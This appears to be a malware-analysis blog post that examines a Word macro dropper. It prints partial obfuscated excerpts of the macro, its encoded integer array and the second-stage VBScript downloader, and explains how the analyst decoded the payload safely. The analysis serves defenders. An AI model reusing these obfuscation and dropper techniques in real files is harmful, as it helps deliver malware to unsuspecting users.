8KB of malware crammed into a single command line in a macro

A few days ago, @Bry_Campbell told me about a strange sample with a malicious macro, that could not be fully analyzed with online sandboxes and the usual tools.

Macro extraction and analysis

The file vbaProject.bin is a typical OLE file containing macros, extracted from a Word or Excel 2007+ document (.docm or .xlsm). It is easy to extract the macro source code using olevba or oledump:

olevba 0.42 - http://decalage.info/python/oletools
Flags        Filename                                                         
-----------  -----------------------------------------------------------------
OLE:MAS-HBDV 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, TXT=Text, M=Macros, A=Auto-executable, 
S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 0d1228498210c576a3c0f70816d43c22e4539a170555eaf27f9ed37b6c3ae382.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Dim VoZoOxr6Mn(2034) As Long
Sub ThhoJh8NX()
DVZm8YVrQMiwo = RGB(57, 72, 52)
Join KwTfhyp, 32
BPo78vzethyYE = Cos(10)
Randomize
FreeFile 8
KkqgXNfZvN = Dir("CnK5tkVQz")
Choose 81, D9v2bgkWjrqDrfD0

[...]

If TumGFv7Hqd8 = 0 Then Exit Function
NSNhOVv50b = RGB(77, 46, 66)
Mu4XjE = TumGFv7Hqd8 - 1
JIHddd7uli8P0PIH = RGB(54, 93, 48)
End Function

+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Document_Open        | Runs when the Word document is opened   |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |

 

This is indeed quite unusual: The macro code is quite long, but the only suspicious command picked by olevba is "Shell".

Whereas, a typical macro dropper needs to write its payload to a file before executing it using Shell. And in most cases, it also needs to download it from the Internet first. (see this presentation for an example)

Looking more closely at the code, I also found no other command to download or write files to disk.

This means that either the macro drops the payload and runs it using a single shell command, or it downloads it using Internet Explorer or some other application/dll.

The first hypothesis is more likely, because the code contains a large array of 2034 integers:

Dim VoZoOxr6Mn(2034) As Long
VoZoOxr6Mn(0) = 432433934
VoZoOxr6Mn(1) = 350786839
VoZoOxr6Mn(2) = -931457408
VoZoOxr6Mn(3) = 1263351013
VoZoOxr6Mn(4) = -934508713
VoZoOxr6Mn(5) = -1080386174
VoZoOxr6Mn(6) = -1982250533
VoZoOxr6Mn(7) = 643917765
[...]
VoZoOxr6Mn(2027) = 1872082481
VoZoOxr6Mn(2028) = -84289746
VoZoOxr6Mn(2029) = 228930248
VoZoOxr6Mn(2030) = -747395805
VoZoOxr6Mn(2031) = 905736327
VoZoOxr6Mn(2032) = 684154832
VoZoOxr6Mn(2033) = 740288
VoZoOxr6Mn(2034) = 0

Moreover, there are some functions to convert this array into a string, using some decoding computations. And the result is used as the command line run by the "Shell" call.

I first tried to analyze the code manually, to figure out how to decode the array into the actual payload. But this was taking me too long.

Running the macro

Then I attempted to convert the macro code into VBScript, to run it using cscript.exe. But again, no luck: The code is using too many specific features of the VBA interpreter, which are not supported by VBScript (for example, tricky "on error" constructs).

As a last resort, I imported the macro code into a blank Word document on a Windows machine, pasting it into the Visual Basic Editor:

Of course, I could not run the code as-is without being infected. So I simply commented the Shell line, and replaced it by "Selection.TypeText", with the same string variable as argument, as shown below. This would insert the string as text in the Word document itself, instead of executing the command.

After running the macro, the mysterious payload appeared in the Word document:

[Several pages of text...]

So this confirms the first hypothesis: the array of 2034 integers (32 bits) is converted into a string of 8KB, and that string is a single command line, executed with the VBA Shell command.

A VBScript payload

Looking at the command line, it calls cmd.exe to process a long list of double-quoted strings. Each string is a line added to a file named "%appdata%\!TQJZEIfjEY0vjO!.vbs". And finally, this VBscript file is executed.

To obtain the VBscript code, I just copied the command line into an editor, and replace every " " sequence by a newline character:

Dim Hn0VG8Jim,VSbjXB1Tb
 
Sub CFUmNNN5l()
  M00rlg9loD=RGB(83,25,28)
  On Error Resume Next
  GTLwPQK72oc=RGB(56,27,14)
  dim YdhC58CSw,S4xM6Wpkdj6D,W214qCaiT,UmenL52bDf
  TI8WZPiK2i=RGB(75,30,67)
  UmenL52bDf="OQDUQMXOh"
  YCFFjOyYD=RGB(22,52,15)
  YdhC58CSw=SeHoavimVzFK("5D3C0102521B60423F025C055D2C4727061D0E4061562718","O5Hurh4")
  KvUeCMforHxs=RGB(21,30,56)
  Set S4xM6Wpkdj6D=CrEaTeoBJEct(SeHoavimVzFK("1C2D3623222B200E3B7F1C181D050C1B38",UmenL52bDf))
  MIgVQA=RGB(21,18,27)
  S4xM6Wpkdj6D.OPen SeHoavimVzFK("150D2E","GRHzZoXg"),YdhC58CSw,0
  Ugty62w=RGB(77,50,3)
  S4xM6Wpkdj6D.sETreqUESThEadER SeHoavimVzFK("1F16341613","AMwZqvb3btB6P"),SeHoavimVzFK("00094332007C51421A","Abp7Ws")
  HI8mQ5YcSR=RGB(35,89,98)
  S4xM6Wpkdj6D.seNd()
  W8tEI9rZq6HfsXOEj=RGB(12,23,15)
  If S4xM6Wpkdj6D.STatUsText<>SeHoavimVzFK("3C5007260E221B45013B0245103C13","Tl1uRgCweB") Then KNC3TSAdM4WQx4G1
  G5wuCfP7vda=RGB(10,14,76)
End Sub
[...]
Set BFxKNR=CReaTeoBJect(SeHoavimVzFK("102327283762363B0B5D5738",GoOVIULOEKamGtAZ))
EitKzH0Nuwg=RGB(24,75,19)
BFxKNR.OPen
U2OqQ3cjPxXD=RGB(44,89,79)
BFxKNR.TYpE=1
SxuTPuwwZ68O0in=RGB(15,41,61)
BFxKNR.Write CVAWAyYGiQ
EUBn1YwiceF=RGB(14,43,29)
BFxKNR.saveTOFILE Hn0VG8Jim,(0.5 + 807 + 0.5 - 807 + 0.5 + 807 + 0.5 - 807)
IbBRwzqI7UqO9JPb3=RGB(79,82,1)
BFxKNR.clOse
JxtY72rJ2OVT=RGB(22,29,35)
Se21YcvBiRU9OKH6(2)
PjpK6qckc=RGB(96,56,3)
VSbjXB1Tb=Hn0VG8Jim
JPLDZf6lJnt5T=RGB(24,63,45)
Hn0VG8Jim=Hn0VG8Jim & LCpqU9MOnkVtOl & SeHoavimVzFK("621F1515","SLzmp")
YNUoCl5R9=RGB(21,60,82)
Ya5kQ1Uf5rf VSbjXB1Tb,Hn0VG8Jim,SeHoavimVzFK("095B51546B00","Th92eY3Ha")
W1H46j8jP=RGB(46,77,58)
LOSKRvzUGjsz
Dctbq6sdzPJ=RGB(87,23,58)
End Sub

This VBScript is also obfuscated, but it is now easier to analyze. I may cover it in a future post.

Finding similar samples

Using the custom search engine described in my article "How to find malware samples containing specific strings", I looked for similar samples sharing some specific strings found in the macro code. For example, using the array name "VoZoOxr6Mn", I found two samples:

So using this string search technique, I could have found the same results much faster!

Conclusion

The mysterious file contains a macro that builds a long string of 8 KiloBytes, by decoding an obfuscated array of integers. The string is actually a single command line launching cmd.exe with a loop to build a VBScript file line by line, and then runs it.

It shows that a macro without any suspicious keyword apart from a single "Shell" command can be a full-blown dropper for a malware payload embedded into the macro.